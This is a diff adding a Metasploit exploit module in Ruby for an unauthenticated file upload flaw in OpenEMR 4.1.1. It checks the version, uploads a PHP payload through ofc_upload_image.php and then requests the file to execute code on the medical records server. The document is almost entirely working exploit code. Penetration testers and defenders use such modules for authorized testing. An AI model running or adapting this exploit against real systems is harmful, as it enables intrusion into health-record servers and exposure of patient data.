|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# Framework web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/framework/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Remote |
| 11 | + Rank = ExcellentRanking |
| 12 | + |
| 13 | + include Msf::Exploit::Remote::HttpClient |
| 14 | + include Msf::Exploit::FileDropper |
| 15 | + |
| 16 | + def initialize(info={}) |
| 17 | + super(update_info(info, |
| 18 | + 'Name' => "OpenEMR PHP File Upload Vulnerability", |
| 19 | + 'Description' => %q{ |
| 20 | + This module exploits a vulnerability found in OpenEMR 4.1.1 By abusing the |
| 21 | + ofc_upload_image.php file from the openflashchart library, a malicious user can |
| 22 | + upload a file to the tmp-upload-images directory without any authentication, which |
| 23 | + results in arbitrary code execution. The module has been tested successfully on |
| 24 | + OpenEMR 4.1.1 over Ubuntu 10.04. |
| 25 | + }, |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'Author' => |
| 28 | + [ |
| 29 | + 'Gjoko Krstic <gjoko[at]zeroscience.mk>', # Discovery, PoC |
| 30 | + 'juan vazquez' # Metasploit module |
| 31 | + ], |
| 32 | + 'References' => |
| 33 | + [ |
| 34 | + [ 'OSVDB', '90222' ], |
| 35 | + [ 'BID', '37314' ], |
| 36 | + [ 'EBD', '24492' ], |
| 37 | + [ 'URL', 'http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5126.php' ], |
| 38 | + [ 'URL', 'http://www.open-emr.org/wiki/index.php/OpenEMR_Patches' ] |
| 39 | + ], |
| 40 | + 'Platform' => ['php'], |
| 41 | + 'Arch' => ARCH_PHP, |
| 42 | + 'Targets' => |
| 43 | + [ |
| 44 | + ['OpenEMR 4.1.1', {}] |
| 45 | + ], |
| 46 | + 'Privileged' => false, |
| 47 | + 'DisclosureDate' => "Feb 13 2013", |
| 48 | + 'DefaultTarget' => 0)) |
| 49 | + |
| 50 | + register_options( |
| 51 | + [ |
| 52 | + OptString.new('TARGETURI', [true, 'The base path to EGallery', '/openemr']) |
| 53 | + ], self.class) |
| 54 | + end |
| 55 | + |
| 56 | + def check |
| 57 | + uri = target_uri.path |
| 58 | + peer = "#{rhost}:#{rport}" |
| 59 | + |
| 60 | + # Check version |
| 61 | + print_status("#{peer} - Trying to detect installed version") |
| 62 | + |
| 63 | + res = send_request_cgi({ |
| 64 | + 'method' => 'GET', |
| 65 | + 'uri' => normalize_uri(uri, "interface", "login", "login.php") |
| 66 | + }) |
| 67 | + |
| 68 | + if res and res.code == 200 and res.body =~ /v(\d\.\d\.\d)/ |
| 69 | + version = $1 |
| 70 | + else |
| 71 | + return Exploit::CheckCode::Unknown |
| 72 | + end |
| 73 | + |
| 74 | + print_status("#{peer} - Version #{version} detected") |
| 75 | + |
| 76 | + if version > "4.1.1" |
| 77 | + return Exploit::CheckCode::Safe |
| 78 | + end |
| 79 | + |
| 80 | + # Check for vulnerable component |
| 81 | + print_status("#{peer} - Trying to detect the vulnerable component") |
| 82 | + |
| 83 | + res = send_request_cgi({ |
| 84 | + 'method' => 'GET', |
| 85 | + 'uri' => normalize_uri("#{uri}", "library", "openflashchart", "php-ofc-library", "ofc_upload_image.php"), |
| 86 | + }) |
| 87 | + |
| 88 | + if res and res.code == 200 and res.body =~ /Saving your image to/ |
| 89 | + return Exploit::CheckCode::Detected |
| 90 | + end |
| 91 | + |
| 92 | + return Exploit::CheckCode::Safe |
| 93 | + end |
| 94 | + |
| 95 | + def exploit |
| 96 | + uri = target_uri.path |
| 97 | + |
| 98 | + peer = "#{rhost}:#{rport}" |
| 99 | + payload_name = rand_text_alpha(rand(10) + 5) + '.php' |
| 100 | + my_payload = payload.encoded |
| 101 | + |
| 102 | + print_status("#{peer} - Sending PHP payload (#{payload_name})") |
| 103 | + res = send_request_raw({ |
| 104 | + 'method' => 'POST', |
| 105 | + 'uri' => normalize_uri("#{uri}", "library", "openflashchart", "php-ofc-library", "ofc_upload_image.php") + "?name=#{payload_name}", |
| 106 | + 'headers' => { "Content-Length" => my_payload.length.to_s }, |
| 107 | + 'data' => my_payload |
| 108 | + }) |
| 109 | + |
| 110 | + # If the server returns 200 and the body contains our payload name, |
| 111 | + # we assume we uploaded the malicious file successfully |
| 112 | + if not res or res.code != 200 or res.body !~ /Saving your image to.*#{payload_name}$/ |
| 113 | + fail_with(Exploit::Failure::NotVulnerable, "#{peer} - File wasn't uploaded, aborting!") |
| 114 | + end |
| 115 | + |
| 116 | + register_file_for_cleanup(payload_name) |
| 117 | + |
| 118 | + print_status("#{peer} - Executing PHP payload (#{payload_name})") |
| 119 | + # Execute our payload |
| 120 | + res = send_request_cgi({ |
| 121 | + 'method' => 'GET', |
| 122 | + 'uri' => normalize_uri("#{uri}", "library", "openflashchart", "tmp-upload-images", payload_name), |
| 123 | + }) |
| 124 | + |
| 125 | + # If we don't get a 200 when we request our malicious payload, we suspect |
| 126 | + # we don't have a shell, either. Print the status code for debugging purposes. |
| 127 | + if res and res.code != 200 |
| 128 | + print_error("#{peer} - Server returned #{res.code.to_s}") |
| 129 | + end |
| 130 | + end |
| 131 | + |
| 132 | +end |
0 commit comments